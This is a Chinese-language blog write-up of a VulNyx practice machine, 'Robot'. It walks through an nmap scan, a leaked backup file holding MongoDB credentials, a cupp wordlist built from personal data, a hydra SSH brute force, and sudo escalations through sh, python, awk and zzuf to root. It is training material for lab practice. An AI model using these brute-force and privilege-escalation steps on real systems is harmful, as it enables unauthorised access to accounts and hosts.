靶场练习-vulnyx：Robot - Low - VulNyx - 靶场练习 | 🎐清风. = 劈开深海，填入我的山🍂

# 靶场搭建

下载：Robot

下载、导入、Nat

IP： 192.168.1.128

# 渗透过程

# 信息初收集

	PORT STATE SERVICE VERSION
	22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
	\| ssh-hostkey:
	\| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
	\| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
	\|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
	80/tcp open http Apache httpd 2.4.56 ((Debian))
	\|_http-server-header: Apache/2.4.56 (Debian)
	\|_http-title: Hello Friend
	27017/tcp open mongodb MongoDB 5.0.21
	\| mongodb-databases:
	\| codeName = Unauthorized
	\| code = 13
	\| ok = 0.0
	\|_ errmsg = command listDatabases requires authentication
	\| mongodb-info:
	\| MongoDB Build info
	\| sysInfo = deprecated
	\| openssl
	\| running = OpenSSL 1.1.1n 15 Mar 2022
	\| compiled = OpenSSL 1.1.1n 15 Mar 2022
	\| maxBsonObjectSize = 16777216
	\| storageEngines
	\| 0 = devnull
	\| 1 = ephemeralForTest
	\| 2 = wiredTiger
	\| ok = 1.0
	\| debug = false
	\| buildEnvironment
	\| cppdefines = SAFEINT_USE_INTRINSICS 0 PCRE_STATIC NDEBUG _XOPEN_SOURCE 700 _GNU_SOURCE _FORTIFY_SOURCE 2 BOOST_THREAD_VERSION 5 BOOST_THREAD_USES_DATETIME BOOST_SYSTEM_NO_DEPRECATED BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS BOOST_ENABLE_ASSERT_DEBUG_HANDLER BOOST_LOG_NO_SHORTHAND_NAMES BOOST_LOG_USE_NATIVE_SYSLOG BOOST_LOG_WITHOUT_THREAD_ATTR ABSL_FORCE_ALIGNED_ACCESS
	\| cxx = /opt/mongodbtoolchain/v3/bin/g++: g++ (GCC) 8.5.0
	\| cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -fsized-deallocation -std=c++17
	\| target_arch = x86_64
	\| target_os = linux
	\| ccflags = -Werror -include mongo/platform/basic.h -ffp-contract=off -fasynchronous-unwind-tables -ggdb -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -fno-omit-frame-pointer -fno-strict-aliasing -O2 -march=sandybridge -mtune=generic -mprefer-vector-width=128 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -Wa,--nocompress-debug-sections -fno-builtin-memcmp
	\| linkflags = -Wl,--fatal-warnings -pthread -Wl,-z,now -fuse-ld=gold -fstack-protector-strong -Wl,--no-threads -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro -Wl,--compress-debug-sections=none -Wl,-z,origin -Wl,--enable-new-dtags
	\| distarch = x86_64
	\| distmod = debian10
	\| cc = /opt/mongodbtoolchain/v3/bin/gcc: gcc (GCC) 8.5.0
	\| javascriptEngine = mozjs
	\| bits = 64
	\| allocator = tcmalloc
	\| modules
	\| gitVersion = 4fad44a858d8ee2d642566fc8872ef410f6534e4
	\| version = 5.0.21
	\| versionArray
	\| 3 = 0
	\| 0 = 5
	\| 1 = 0
	\| 2 = 21
	\| Server status
	\| codeName = Unauthorized
	\| code = 13
	\| ok = 0.0
	\|_ errmsg = command serverStatus requires authentication
	\| fingerprint-strings:
	\| FourOhFourRequest, GetRequest:
	\| HTTP/1.0 200 OK
	\| Connection: close
	\| Content-Type: text/plain
	\| Content-Length: 85
	\| looks like you are trying to access MongoDB over HTTP on the native driver port.
	\| mongodb:
	\| errmsg
	\| command serverStatus requires authentication
	\| code
	\| codeName
	\|_ Unauthorized
	MAC Address: 00:0C:29:4E:6F:9F (VMware)
	Device type: general purpose
	Running: Linux 4.X\|5.X
	OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
	OS details: Linux 4.15 - 5.8
	Network Distance: 1 hop
	Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

22、80、27017 的 MongoDB

80 端口路径无果，开局一张图，strings 瞅一下 B4ckUp_3LLi0t/

OK，又是一张图片，没有任何发现，路径收集也没有发现

不可能，加大敏感路径收集

最终找到了 connect.bak

找到了 MongoDB 的数据库账号密码

	<?php

	$client = new MongoDB\Client(
	'mongodb://127.0.0.1:27017'
	[
	'username' => 'mongo',
	'password' => 'm0ng0P4zz',
	'ssl' => true,
	'replicaSet' => 'myReplicaSet',
	'authSource' => 'admin',
	'db' => 'elliot',
	],
	);

我 navicat 连到数据库中，看到数据

651fdd9171f44c265b976d17	Elliot	Alderson	MrRobot	17091986

# 爆破 ssh

使用 cupp，用获取的公民信息建立字典: cupp -i

使用 hydra 爆破： hydra -l elliot -P elliot.txt 192.168.1.128 ssh -I -t 64

密码： toillE71986

# 提权

ssh 上去时候 sudo -l 可以迁移到 darlene

	elliot@robot:~$ sudo -u darlene /usr/bin/sh

	$ sudo -u angela python3 -c 'import pty;pty.spawn("/bin/bash");'

	angela@robot:/home/elliot$ sudo -u tyrell awk 'BEGIN {system("/bin/bash")}'

	tyrell@robot:/usr/bin$ sudo ./zzuf /bin/bash

拿到了 root 权限

# 小结

zzuf 是一个 FUZZ 工具，针对二进制文件做模糊测试的工具，我们直接加载他然后 run 到 bash 上面就拿到了 root

靶场 VulNyx